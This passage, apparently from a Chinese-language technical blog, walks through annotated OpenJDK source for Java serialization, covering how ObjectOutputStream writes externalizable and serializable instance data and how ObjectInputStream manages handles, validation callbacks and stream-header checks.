// 该类声明了私有的 writeObject(ObjectOutputStream):
// - 读端据此知道:除默认字段外,还将出现一段由 writeObject 写入的“自定义数据区”
// - 在 v2 协议下,自定义数据区同样以 Block-Data 包裹
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}

if (isEnum) {
// 枚举类标记:读端据此采用枚举的特殊规则(值以“常量名字符串”表示)
flags |= ObjectStreamConstants.SC_ENUM;
}

out.writeByte(flags);

// 4) 写字段表
// - 仅包含“可持久化字段”(非 static / 非 transient),顺序由 ObjectStreamClass 预先规范化
// - 字段条目结构:
// [1字节 typecode][UTF 字段名][若为非原始类型再写 UTF 的签名 typeString]
out.writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];

// 4.1 字段类型码
out.writeByte(f.getTypeCode());

// 4.2 字段名(UTF)
out.writeUTF(f.getName());

// 4.3 对于“非原始类型字段”,还需写“类型签名字符串”(例如 "Ljava/lang/String;"、"[I")
// 写入时采用“对象字符串”语义(可被句柄引用复用),而不是简单的 writeUTF
if (!f.isPrimitive()) {
out.writeTypeString(f.getTypeString());
}
}
}

writeExternalData

当一个类实现了 Externalizable 接口且不是代理类的对象进行序列化的时候会调用 writeExternalData 写入实例数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/**
* 通过调用对象自身的 writeExternal() 方法,写出其 Externalizable 数据区。
*
* 协议要点(默认使用 Stream Protocol Version 2):
* - 在 v2 下,外部化数据必须被“块数据”(Block-Data)包裹:
* setBlockDataMode(true)
* → obj.writeExternal(this) // 由对象自行写出原始字段/对象等
* setBlockDataMode(false)
* writeByte(TC_ENDBLOCKDATA) // 0x78,标记外部化数据区结束
* - 在 v1 下,不使用 Block-Data 包裹(兼容旧协议)。
*
* 语义区别:
* - Externalizable:对象完全掌控序列化内容(实现 writeExternal/readExternal),
* 不走默认的 defaultWriteObject/字段自动遍历逻辑。
* - 因此在执行 writeExternal 时,会清空与“默认序列化路径”相关的上下文(curContext/curPut),
* 防止对象在 writeExternal 中错误地调用 defaultWriteObject/putFields 等 API。
*/
private void writeExternalData(Externalizable obj) throws IOException {
// 暂存并清空 PutFields 上下文:
// - curPut 仅在“默认字段写出”路径(putFields / writeFields)中使用;
// - Externalizable 不应与 putFields 混用,清空可防误用(否则应抛 NotActiveException)。
PutFieldImpl oldPut = curPut;
curPut = null;

// (可选)调试轨迹增强:记录“正在写外部化数据”
if (extendedDebugInfo) {
debugInfoStack.push("writeExternal data");
}

// 暂存并清空“序列化回调上下文”:
// - curContext 用于 defaultWriteObject/writeObject 等回调期间的合法性校验;
// - Externalizable 路径不允许 defaultWriteObject/writeFields,因此将其置空。
SerialCallbackContext oldContext = curContext;
try {
curContext = null;

if (protocol == PROTOCOL_VERSION_1) {
// v1 协议:不使用 Block-Data 包裹,直接由对象写出
obj.writeExternal(this);
} else {
// v2 协议(默认):用 Block-Data 包裹外部化数据区
// 注:在块模式下,原始类型写入会聚合为 TC_BLOCKDATA/TC_BLOCKDATALONG,
// 若 writeExternal 内部调用 writeObject(...),该方法会自行在需要处
// 切到“非块模式”写结构化标记,再回到块模式,整体对齐由 OOS 保证。
bout.setBlockDataMode(true);
obj.writeExternal(this);
bout.setBlockDataMode(false);

// 写入注解块结束标记:TC_ENDBLOCKDATA(0x78)
// 告知对端“外部化数据区”已结束,随后可继续读取后续结构(如父类描述、实例尾等)。
bout.writeByte(TC_ENDBLOCKDATA);
}
} finally {
// 恢复调用前的上下文与调试栈
curContext = oldContext;
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}

// 恢复 PutFields 上下文
curPut = oldPut;
}

具体过程为:

  1. 暂存并清空 curPut / curContext(禁用默认序列化路径;误用将抛 NotActiveException)。
  2. bout.setBlockDataMode(true) 开启块数据模式。
  3. 回调 obj.writeExternal(this):对象自行向流中写任何需要的内容(可写原始类型、对象等)。
  4. bout.setBlockDataMode(false) 退出块模式。
  5. TC_ENDBLOCKDATA 作为“外部化数据段结束”标记。

这里注意到 writeExternalData 有清空和恢复 PutFields 上下文的操作:

1
2
3
4
5
6
PutFieldImpl oldPut = curPut;
curPut = null; // ←★ 清空 PutFields 上下文
...
obj.writeExternal(this); // 用户自定义代码
...
curPut = oldPut; // ←★ 调用完再恢复

curPut 代表 “当前层 defaultWriteObject/putFields 写字段的上下文”。它只在 Serializable 路径、并且正在执行某一层的 writeObject 回调时才会被设置为非 null——也就是 putFields()/writeFields() 临时存放字段值 的缓冲器。

如果在进入 writeExternalData() 时不把已经存在的 curPut 清掉,可能发生嵌套调用污染,例如:

  • 当前正序列化一个对象 Outer,它的 writeObject() 里调用了 putFields(),此时 curPut 指向 Outer 的字段缓冲。
  • writeObject() 又写了一个 ExternalizableInner
  • 如果不清空,Inner.writeExternal() 内部一旦误用 defaultWriteObject()putFields(),框架会把这块缓冲误认为还在写 Outer,导致字段错位或直接抛异常

所以,清空 curPut 是一种“断开默认字段通道 + 防污染 + 防误用” 的保护措施。

writeSerialData

当对象既不是 Externalizable、也不是 String/数组/Enum/Class/ObjectStreamClass 这些特例时,writeOrdinaryObject(...) 会通过 writeSerialData 写字段数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
/**
* 依“类层级从父到子”的顺序,为给定对象写出每一层可序列化类(Serializable 部分)的
* **实例数据区**。每一层要么走自定义 `writeObject`,要么走默认字段写出。
*
* 协议要点(读取端将据此对称解析):
* - 对于声明了 `private void writeObject(ObjectOutputStream)` 的类:
* * 该层实例数据以 **Block-Data** 方式写出(进入块数据模式);
* * 写完后切回非块模式,并写入 `TC_ENDBLOCKDATA (0x78)` 作为该层数据结束标记;
* * 读取端会调用 `readObject(ObjectInputStream)` 并按块读取,直到遇到 `TC_ENDBLOCKDATA`。
* - 对于未声明 `writeObject` 的类:
* * 使用“默认字段写出”(defaultWriteFields):顺序写该层的非 transient/非 static 字段;
* * 原始类型直接写,引用类型以对象方式写(可递归/可共享)。
*
* 顺序与一致性:
* - `getClassDataLayout()` 返回的插槽(ClassDataSlot)顺序为:**超类 → 子类**;
* 因此父类字段/自定义数据会先写,子类随后写,保证层级一致性。
*/
private void writeSerialData(Object obj, ObjectStreamClass desc)
throws IOException
{
// 取得“类数据布局”插槽列表:每个插槽对应层级中的一个可序列化类
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();

for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;

if (slotDesc.hasWriteObjectMethod()) {
// ─────────────────────────────────────────────────────────────
// 分支 A:该层声明了自定义 writeObject(...)
// ─────────────────────────────────────────────────────────────

// 保存并清空 PutFields 上下文:
// - `curPut` 仅在 writeObject 中配合 putFields()/writeFields() 使用;
// - 先置空,避免将上一层/外层的状态“串味”到本层。
PutFieldImpl oldPut = curPut;
curPut = null;

// 保存并暂时替换“序列化回调上下文”:
// - `curContext` 用来校验 defaultWriteObject/putFields 等只能在
// 当前对象&当前类范围内调用(否则抛 NotActiveException)。
SerialCallbackContext oldContext = curContext;

// (可选)调试:标记正在写自定义数据,便于异常路径栈展示
if (extendedDebugInfo) {
debugInfoStack.push(
"custom writeObject data (class \"" +
slotDesc.getName() + "\")");
}

try {
// 为本层建立新的“回调上下文”
curContext = new SerialCallbackContext(obj, slotDesc);

// 进入块数据模式:自定义 writeObject 写出的原始数据将被封装为 TC_BLOCKDATA*
bout.setBlockDataMode(true);

// 反射调用该类私有的 writeObject(ObjectOutputStream) 实现
slotDesc.invokeWriteObject(obj, this);

// 写完后切回非块模式,以便书写结构化的结束标记
bout.setBlockDataMode(false);

// 写入本层自定义数据的结束标记:TC_ENDBLOCKDATA (0x78)
bout.writeByte(TC_ENDBLOCKDATA);
} finally {
// 标记当前回调上下文已使用完毕,防止被重复滥用
curContext.setUsed();
// 恢复外层回调上下文
curContext = oldContext;

if (extendedDebugInfo) {
debugInfoStack.pop();
}
}

// 恢复外层 PutFields 上下文
curPut = oldPut;

} else {
// ─────────────────────────────────────────────────────────────
// 分支 B:无自定义 writeObject → 走默认字段写出
// ─────────────────────────────────────────────────────────────
// 默认规则:
// - 仅写该层声明的“可持久化字段”(非 transient / 非 static);
// - 原始类型直接写入;对象/数组字段按对象方式写入(可能触发递归);
// - 字段顺序由 ObjectStreamClass 预先规范化(与读取端一致)。
defaultWriteFields(obj, slotDesc);
}
}
}

desc.getClassDataLayout() 会给出可序列化链的每一层(ClassDataSlot),顺序始终是 父类在前、子类在后。对每一层 slotDesc 有两条路径:

  • 该层声明了 private void writeObject(ObjectOutputStream out)(自定义路径)
  1. 隔离上下文

    • 暂存并清空 curPut(避免把外层/上一层的 putFields 状态“串味”到本层;误用会抛 NotActiveException)。
    • 暂存并替换 curContext = new SerialCallbackContext(obj, slotDesc)(确保 defaultWriteObject/putFields 只能在“当前对象+当前层”里被合法调用)。
  2. 用块数据包裹该层“自定义数据区”

    • bout.setBlockDataMode(true) 开启 Data Block 模式

    • 反射调用 slotDesc.invokeWriteObject(obj, this)

    • bout.setBlockDataMode(false) 关闭 Data Block 模式

    • 写入该层结尾标记TC_ENDBLOCKDATA (0x78)

  3. 恢复上下文

    • curContext.setUsed(); curContext = oldContext; curPut = oldPut;
    • 若开了 extendedDebugInfo,弹出调试栈条目。
  • 该层没有 writeObject(...)(默认字段路径)

这时调用 defaultWriteFields(obj, slotDesc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/**
* 把“给定对象 obj 在某一层(desc 指定的类)”的**可序列化字段值**写到流里。
* 哪些字段、以什么顺序写,由 ObjectStreamClass desc 事先规范好(见 getFields(...))。
*
* 关键点:
* 1) 这是“默认字段写出”(defaultWriteFields)路径:仅在该层**没有**自定义
* writeObject(ObjectOutputStream) 时调用;否则由 writeObject 内部决定如何写。
* 2) 原始类型字段(primitive)与对象/数组字段分开处理:
* - 原始字段:收集到一个字节缓冲 primVals 后,**按非块模式**直接顺序写出(DataOutput 语义)。
* 注意:这里**不会**写 TC_ENDBLOCKDATA;也不会自动加 TC_BLOCKDATA 头。
* - 对象/数组字段:逐个调用 writeObject0(...)(或 writeUnshared 语义,取决于字段的 isUnshared)。
*/
private void defaultWriteFields(Object obj, ObjectStreamClass desc)
throws IOException
{
// -------- 0) 运行时类型安全检查:obj 必须是 desc.forClass() 的实例 ----------
Class<?> cl = desc.forClass();
if (cl != null && obj != null && !cl.isInstance(obj)) {
throw new ClassCastException(); // 防御式:类型不匹配直接失败
}

// -------- 1) 校验该层是否允许“默认序列化” ----------
// 若在 OSC 初始化阶段已发现默认序列化不合法(如字段布局问题等),
// 这里会抛 InvalidClassException(通过内部缓存的 defaultSerializeEx)。
desc.checkDefaultSerialize();

// -------- 2) 写原始类型字段(primitive block *字节*,非“块数据模式”的 block) ----------
// 2.1 预分配/复用承载原始字段字节的缓冲 primVals(大小 = 该层所有 primitive 字段总字节数)
int primDataSize = desc.getPrimDataSize();
if (primVals == null || primVals.length < primDataSize) {
primVals = new byte[primDataSize];
}
// 2.2 通过反射把 obj 在该层的 primitive 字段值打包进 primVals(按 desc 既定顺序/布局)
desc.getPrimFieldValues(obj, primVals);
// 2.3 一次性写出这段字节
// 注意:此时 OOS 仍处于“非块模式”,所以这里是**原样写字节**,不带 TC_BLOCKDATA/TC_BLOCKDATALONG 头;
// 第四个参数 false 表示“不复制调用方缓冲”,由实现决定是否直接使用该数组(性能优化)。
bout.write(primVals, 0, primDataSize, false);

// -------- 3) 写对象/数组字段(逐个调用 writeObject0 / writeUnshared) ----------
// 3.1 fields 含“该层所有可持久化字段”,顺序已由 OSC 规范化:**先 primitive,再 object/array**
// 这里 getFields(false) 的 false 表示“返回内部数组引用,不拷贝”,减少分配。
ObjectStreamField[] fields = desc.getFields(false);

// 3.2 为对象字段准备承载值的数组(大小 = 对象/数组字段个数)
Object[] objVals = new Object[desc.getNumObjFields()];

// 3.3 primitive 字段数量 = 全字段数 - 对象字段数
int numPrimFields = fields.length - objVals.length;

// 3.4 通过反射把“对象/数组字段”的当前值取到 objVals(顺序与 fields 的“对象段”一致)
desc.getObjFieldValues(obj, objVals);

// 3.5 逐个写出对象/数组字段
for (int i = 0; i < objVals.length; i++) {
if (extendedDebugInfo) {
// 调试栈:标注当前正在写的字段(类名/字段名/字段类型),异常时可定位
debugInfoStack.push(
"field (class \"" + desc.getName() + "\", name: \"" +
fields[numPrimFields + i].getName() + "\", type: \"" +
fields[numPrimFields + i].getType() + "\")");
}
try {
// isUnshared() 仅对“对象/数组字段”有意义(来自 serialPersistentFields 也可指定 unshared):
// - true → 按“非共享”语义写(writeUnshared):不会登记句柄,后续也不会 TC_REFERENCE 回指到该值
// - false → 常规共享语义:首次登记句柄,后续可 TC_REFERENCE 引用同一实例
writeObject0(
objVals[i],
fields[numPrimFields + i].isUnshared()
);
} finally {
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
}
}

它会严格按该层的字段布局写值:

  1. 原始字段(primitive)统一打包

    • 内部会开启块模式,把该层所有原始类型字段的字节连续写入一个(或若干)TC_BLOCKDATA/TC_BLOCKDATALONG 块;
    • 写完立刻切回非块模式(只是为了把“原始字段段”打包),**不会写 TC_ENDBLOCKDATA**。
  2. 对象/数组字段逐个写

    • 依序对每个对象/数组字段调用 writeObject(...)(或 writeUnshared(...),若该字段在 serialPersistentFields 里声明了 unshared);
    • 这些写法会走“结构化标记”:TC_NULL/TC_REFERENCE/TC_OBJECT/... 等。

反序列化过程分析

通常我们通过下面这个过程将对象反序列化:

1
2
3
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
object = objectInputStream.readObject();

ObjectInputStream 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/**
* ObjectInputStream 用于反序列化先前由 ObjectOutputStream 写入的
* 原始数据与对象。
*
* <p>与 FileInputStream/FileOutputStream 搭配时,ObjectInputStream 与
* ObjectOutputStream 可为应用提供对象图(graph of objects)的持久化存储;
* ObjectInputStream 负责把先前序列化的对象恢复出来。其它常见用途包括:
* 通过套接字在主机之间传递对象,或在远程通信系统中对参数进行编组/解组。
*
* <p>ObjectInputStream 确保从流中创建的对象的实际类型与当前 Java 虚拟机中
* 可用的类相匹配;所需的类会按标准类加载机制进行加载。
*
* <p>只有实现了 java.io.Serializable 或 java.io.Externalizable 的对象
* 才能从该流中读取。
*
* <p>通过 <code>readObject</code> 方法可以从流中读取一个对象;随后应使用
* Java 的安全类型转换(cast)得到期望类型。Java 中字符串与数组本身就是对象,
* 因此它们在序列化/反序列化过程中也按对象处理,读取后需要转换为期望类型。
*
* <p>原始类型数据可通过 DataInput 上的相应方法从流中读取。
*
* <p>对象的默认反序列化机制会把每个字段恢复为写出时的值与类型。
* 被声明为 transient 或 static 的字段在反序列化过程中会被忽略。
* 对其它对象的引用会在需要时递归读取,以恢复完整的对象图;
* 共享引用会被正确还原。反序列化时总是分配新的对象实例,避免覆盖现有对象。
*
* <p>读取一个对象的过程类似于“运行新对象的构造过程”:
* 会为对象分配内存并以零(或 NULL)初始化;对<b>不可序列化</b>的超类会调用其
* 无参构造方法;随后按层级从靠近 java.lang.Object 的可序列化类开始,
* 一直到最具体的类,依次从流中恢复各层的字段。
*
* <p>示例(读取由 ObjectOutputStream 示例写出的数据):
* <br>
* <pre>
* FileInputStream fis = new FileInputStream("t.tmp");
* ObjectInputStream ois = new ObjectInputStream(fis);
*
* int i = ois.readInt();
* String today = (String) ois.readObject();
* Date date = (Date) ois.readObject();
*
* ois.close();
* </pre>
*
* <p>类可通过实现 java.io.Serializable 或 java.io.Externalizable 来控制
* 自身的序列化方式。
*
* <p>实现 Serializable 允许在保存/恢复对象全部状态的同时,支持类在写出与读入
* 期间的演进(evolution)。序列化会自动遍历对象之间的引用,从而保存/恢复整个对象图。
*
* <p>在序列化/反序列化过程中需要特殊处理的可序列化类,应实现以下私有方法:
*
* <pre>
* private void writeObject(java.io.ObjectOutputStream stream)
* throws IOException;
* private void readObject(java.io.ObjectInputStream stream)
* throws IOException, ClassNotFoundException;
* private void readObjectNoData()
* throws ObjectStreamException;
* </pre>
*
* <p>readObject 负责使用对应 writeObject 写入到流中的数据,读取并恢复其
* 所在<b>这一层类</b>的状态;它无需关心其超类或子类的状态。
* 恢复的方式是从 ObjectInputStream 读取每个字段的数据,并把它们赋给对象中
* 对应的字段。读取原始类型数据可使用 DataInput 提供的方法。
*
* <p>任何企图读取超出对应 writeObject 方法自定义数据边界的对象数据,都会抛出
* OptionalDataException,且其中的 eof 字段值为 true。
* 如果是“非对象读”(如按字节读或读原始类型)越过了分配的数据末尾,
* 行为与到达流末尾一致:按字节读会返回 -1,原始类型读会抛 EOFException。
* 若不存在对应的 writeObject 方法,则“默认序列化数据”的结束标志为该层数据的终点。
*
* <p>在 readExternal 方法内部发起的原始/对象读取调用,其行为相同——若流的位置
* 已经位于对应 writeExternal 方法写入数据的末尾:对象读取会抛出
* OptionalDataException 且 eof 为 true;按字节读返回 -1;原始类型读抛 EOFException。
* 需要注意的是:对于使用旧协议
* <code>ObjectStreamConstants.PROTOCOL_VERSION_1</code> 写入的流,该行为并不成立,
* 因为该协议下 writeExternal 写入的数据结尾没有明确界定,因而无法检测。
*
* <p>readObjectNoData 用于在反序列化流<b>并未</b>把某个给定类列为所读对象的
* 超类时,初始化该类自己的状态。这可能发生在接收方使用了不同版本的类定义,
* 且接收方的版本继承了一些发送方版本未继承的类;也可能是序列化流被篡改所致。
* 因此,readObjectNoData 有助于在“恶意或不完整”的来源流下仍正确初始化对象。
*
* <p>对于未实现 java.io.Serializable 的任何对象,序列化并不会读取或赋值其字段。
* 但“不可序列化类”的子类可以是可序列化的:此时,不可序列化的那个超类必须
* 具有无参构造方法以便其字段能被初始化;同时由子类负责保存/恢复该不可序列化超类
* 的状态。通常这些字段是可访问的(public/package/protected),或者可以通过
* getter/setter 来恢复状态。
*
* <p>反序列化对象时发生的任何异常都会被 ObjectInputStream 捕获并中止读取过程。
*
* <p>实现 Externalizable 允许对象完全控制其序列化形式的内容与格式:
* 系统会分别调用 writeExternal 与 readExternal 来保存与恢复对象状态。
* 当类实现了该接口后,它可以使用 ObjectOutput/ObjectInput 的所有方法读写自身状态,
* 并由对象自己负责任何版本演进问题。
*
* <p>枚举常量的反序列化与普通可序列化/可外部化对象不同:其序列化形式只包含
* 常量名;常量的字段值不会被传输。反序列化时,ObjectInputStream 会从流中读取
* 常量名,然后调用 <code>Enum.valueOf(Class, String)</code> 以该枚举的基础类型
* 与接收的常量名作为参数获得反序列化结果。与其它对象一样,枚举常量也可以作为
* 随后出现的回引用(back reference)的目标。枚举常量的反序列化过程不可自定义:
* 枚举类型中定义的 readObject、readObjectNoData、readResolve 方法都会被忽略;
* 同样,serialPersistentFields 与 serialVersionUID 声明也会被忽略——
* 所有枚举类型的 serialVersionUID 固定为 0L。
*
* @author Mike Warres
* @author Roger Riggs
* @see java.io.DataInput
* @see java.io.ObjectOutputStream
* @see java.io.Serializable
* @see <a href="../../../platform/serialization/spec/input.html">
* Object Serialization Specification, Section 3, Object Input Classes</a>
* @since JDK1.1
*/
public class ObjectInputStream
extends InputStream implements ObjectInput, ObjectStreamConstants
{
// [...]
}

块输入流:BlockDataInputStream

BlockDataOutputStream 对应,BlockDataInputStream 把“协议里的块数据”抽象为连续字节源;需要时切换“非块模式”读取类型码/长度等结构化标记。

1
private final BlockDataInputStream bin;

对象句柄表:HandleTable

ObjectInputStream 在反序列化时会维护 wire handle(从 0x7E0000 起)→{对象 | 异常} 的映射及读取状态,从而确保正确实现 TC_REFERENCE 的回引、循环引用、以及异常传播。

维护上述内容的结构是对象句柄表 HandleTable。在该句柄表中,对象的状态有下面几种形式:

  • UNREAD:刚分配句柄,占位;
  • READING:正在构造/填充该对象(处理自引用/循环引用时会先发句柄);
  • DEFAULTED:降级/默认化(少见);
  • OK:完成,可正常回引。

通过 HandleTable,我们可以确保循环引用的对象可以正常反序列化出来,例如:

当某对象 A 字段里引用了 B,而 B 又在构造中引用回 A:OIS 会先给 A 分配句柄并置 READING,构造 A 时读到 B,再为 B 分配句柄……当 B 里回引 A 时,通过 TC_REFERENCE 取到 A占位对象,从而闭环。

HandleTable 的常见操作如下:

  • assign(...)为“将要被读取的那个新对象”占个坑,返回它的句柄 H,状态置 READING(或实现里先 UNREAD,马上变 READING)。
  • markDependency(dependent, target)当前在读的对象(dependent=父/宿主)依赖 target(子/被引用)。真正代码里“当前在读”的句柄就是 passHandle
  • setObject(H, obj):把 H 这个坑里塞上最终对象
  • setException(H, ex):把 H 这个坑标记成失败异常(根因)。
  • finish(H):把 H 的状态从 READING 收尾到 OK,并处理“等它的人”。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 1) 为“将读的这个对象”先分配一个句柄 H
int H = handles.assign(unshared ? UNSHARED_SENTINEL : PLACEHOLDER);
int parent = passHandle; // 记住老的“当前对象”
passHandle = H; // 现在 H 是“当前对象”

try {
// 2) 读 classDesc,newInstance,准备字段访问器...
Object obj = desc.newInstance();

// 3) 读各层 classdata(可能递归读很多“子对象”)
// 期间每遇到一个“子对象/回引”,都会:
// - 为子对象 assign 子句柄 H_child
// - markDependency(H ← H_child)
// - 读完子对象后 setObject/finish(H_child)
readClassData(obj, desc);

// 4) 有 readResolve 就替换
obj = desc.maybeReadResolve(obj);

// 5) 当前对象成功落地
handles.setObject(H, obj);
handles.finish(H);
return obj;

} catch (Throwable cause) {
// 6) 当前对象失败,根因挂在 H 上,触发“依赖我”的一起失败
handles.setException(H, cause);
throw abortWithWriteAborted(cause);
} finally {
passHandle = parent; // 恢复“当前对象”指针
}

对象图校验回调:ValidationList

在反序列化流程中,有些对象希望在 整个对象图构建完成后 再进行某些操作(例如不变量校验、反向索引恢复、跨引用修补等),这时可以调用:

1
ObjectInputStream.registerValidation(ObjectInputValidation obj, int priority);

此时延迟回调会被登记到 ObjectInputStream 的一个内部队列 ValidationList 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**
* 在“对象图返回给调用者之前”注册一个需要校验的对象(回调)。
* 与 resolveObject 类似,但这些校验会在整个对象图完全重建之后才被调用。
* 通常做法是:在某个类的 readObject 方法里把当前对象注册进流,
* 等所有对象都恢复完成后,统一执行最后一组校验/修补逻辑。
*
* @param obj 将要接收校验回调的对象(实现了 ObjectInputValidation)
* @param prio 回调优先级;0 是一个合适的默认值。
* 数字越大越“早”执行,数字越小越“晚”执行;
* 同一优先级内不保证执行顺序。
* @throws NotActiveException 当前流不处于“正在读取对象”的活动期,
* 因而不允许注册(例如不在 readObject 调用栈中)。
* @throws InvalidObjectException 校验对象为 null 时抛出。
*/
public void registerValidation(ObjectInputValidation obj, int prio)
throws NotActiveException, InvalidObjectException
{
// depth==0 表示不在任意 readObject 调用的活动期里(顶层计数器)
if (depth == 0) {
throw new NotActiveException("stream inactive");
}
// 交由内部的 ValidationList 以“按优先级降序”插入链表
vlist.register(obj, prio);
}

/**
* 在内部校验链表里登记回调节点。
* 若回调对象为 null,抛出 InvalidObjectException。
*/
void register(ObjectInputValidation obj, int priority)
throws InvalidObjectException
{
if (obj == null) {
throw new InvalidObjectException("null callback");
}

// 以“优先级降序”插入到单链表中:
// 当前节点 priority 越大,越靠前;同优先级下顺序不做保证。
Callback prev = null, cur = list;
while (cur != null && priority < cur.priority) {
prev = cur;
cur = cur.next;
}

// 捕获当前的访问控制上下文(Java 安全管理/权限模型相关),
// 以便将来在回调执行时沿用同一安全上下文。
AccessControlContext acc = AccessController.getContext();

// 在 prev 与 cur 之间插入新节点(或作为新表头)
if (prev != null) {
prev.next = new Callback(obj, priority, cur, acc);
} else {
list = new Callback(obj, priority, list, acc);
}
}

对象图构建完毕后,一次性做收尾:建索引、补 transient 字段、做不变量校验等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Object readObject() throws IOException, ClassNotFoundException {
depth++;
try {
Object obj = readObject0(false); // 真正读对象
if (depth == 1) { // 最外层
vlist.doCallbacks(); // 这里执行
}
return obj;
} catch (InvalidObjectException e) {
// 这是 validateObject 抛出的,直接向上抛
throw e;
} finally {
depth--;
if (depth == 0) vlist.clear();
}
}

doCallbacks 会按照优先级依次调用对象的 validateObject 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 触发并执行所有已注册的校验回调,随后清空回调链表。
* 优先级高的(数值大)先执行;同一优先级的执行顺序不承诺。
* 若任意回调抛出 InvalidObjectException,则立刻终止后续回调,
* 并将该异常向上抛出。
*/
void doCallbacks() throws InvalidObjectException {
try {
// 逐个消费链表头节点(链表在 register(...) 时已按“优先级降序”排好)
while (list != null) {
// 以注册时捕获的 AccessControlContext(list.acc)作为权限上下文,
// 在受控的特权块里执行回调;这里必须用 PrivilegedExceptionAction,
// 因为 validateObject() 可能抛受检异常 InvalidObjectException。
AccessController.doPrivileged(
new PrivilegedExceptionAction<Void>() {
public Void run() throws InvalidObjectException {
// 真正执行校验
list.obj.validateObject();
return null;
}
},
// 使用登记回调时捕获的安全上下文,确保回调在与登记时相同的权限边界内运行
list.acc
);

// 本节点执行完,指向下一个;逐步“消费”链表,成功路径下自然清空
list = list.next;
}
} catch (PrivilegedActionException ex) {
// 只有受检异常会被包装为 PrivilegedActionException;
// 我们按约定仅传播 InvalidObjectException。
// 同时将链表置空,确保“清空回调列表”的语义在异常路径也成立。
list = null;
throw (InvalidObjectException) ex.getException();
}
}

/**
* 将回调链表重置为初始的“空”状态。
*/
public void clear() {
list = null;
}

ObjectInputStream 构造函数

ObjectInputStream 同样有两类构造函数,这里直接看有参构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* 创建一个从指定 {@link InputStream} 读取的 {@code ObjectInputStream}。
* 构造时会立即从底层输入流读取并校验**序列化流头部(stream header)**。
* <p>
* ⚠ 该构造函数在对端 {@link ObjectOutputStream} 写出并 <b>flush()</b> 头部之前会一直阻塞,
* 因此基于套接字的场景下,发送端务必在构造 OOS 后立刻 flush。
*
* <p><b>安全管理器(SecurityManager)说明:</b>
* 若已安装 SecurityManager,且本构造函数被某“子类的构造器”直接或间接调用,
* 并且该子类<b>重写</b>了 {@link #readFields()} 或 {@link #readUnshared()} 等
* 安全敏感方法,则需要具备
* {@code SerializablePermission("enableSubclassImplementation")} 权限。
*
* @param in 底层输入流(不可为 {@code null})
* @throws StreamCorruptedException 流头部不符合 Java 序列化协议(例如魔数/版本不匹配)
* @throws IOException 读取头部时发生 I/O 错误
* @throws SecurityException 不受信子类非法重写安全敏感方法
* @throws NullPointerException {@code in} 为 {@code null}
* @see ObjectInputStream#ObjectInputStream()
* @see ObjectInputStream#readFields()
* @see ObjectOutputStream#ObjectOutputStream(OutputStream)
*/
public ObjectInputStream(InputStream in) throws IOException {
// 子类校验:若为自定义子类并重写了安全敏感方法,则需具备相应权限
verifySubclass();

// 将底层 InputStream 包装为“块数据输入流”:
// Java 序列化协议中,原始类型/小块数据以 Block-Data 形式编码,这里负责解包与模式切换
bin = new BlockDataInputStream(in);

// 句柄表(接收端):按 wire handle(0x7E0000 起)映射到实际对象,
// 用于解析 TC_REFERENCE,并正确还原共享引用/循环引用
handles = new HandleTable(10);

// 验证回调列表:用于 registerValidation(ObjectInputValidation, prio)
// 在对象图完全构建后按优先级调用,做一致性校验
vlist = new ValidationList();

// 反序列化过滤器(JDK 9+):从全局配置读取当前的 ObjectInputFilter,
// 用于在读取过程中对类/数组长度/引用深度等做策略性拦截(防御“有害反序列化”)
// 若后续调用 setObjectInputFilter(...) 设置了流级过滤器,则以流级为准
serialFilter = ObjectInputFilter.Config.getSerialFilter();

// 标记是否由子类完全接管读取流程;公开构造器中为 false(使用标准实现)
enableOverride = false;

// 读取并校验序列化流头部:期待 0xAC ED 00 05(magic + version),不符则抛 StreamCorruptedException
readStreamHeader();

// 进入“块数据模式”:后续原始数据读取将按 Block-Data 片段消费;
// 读取对象/类描述等结构化标记时,内部会临时切回“非块模式”
bin.setBlockDataMode(true);
}

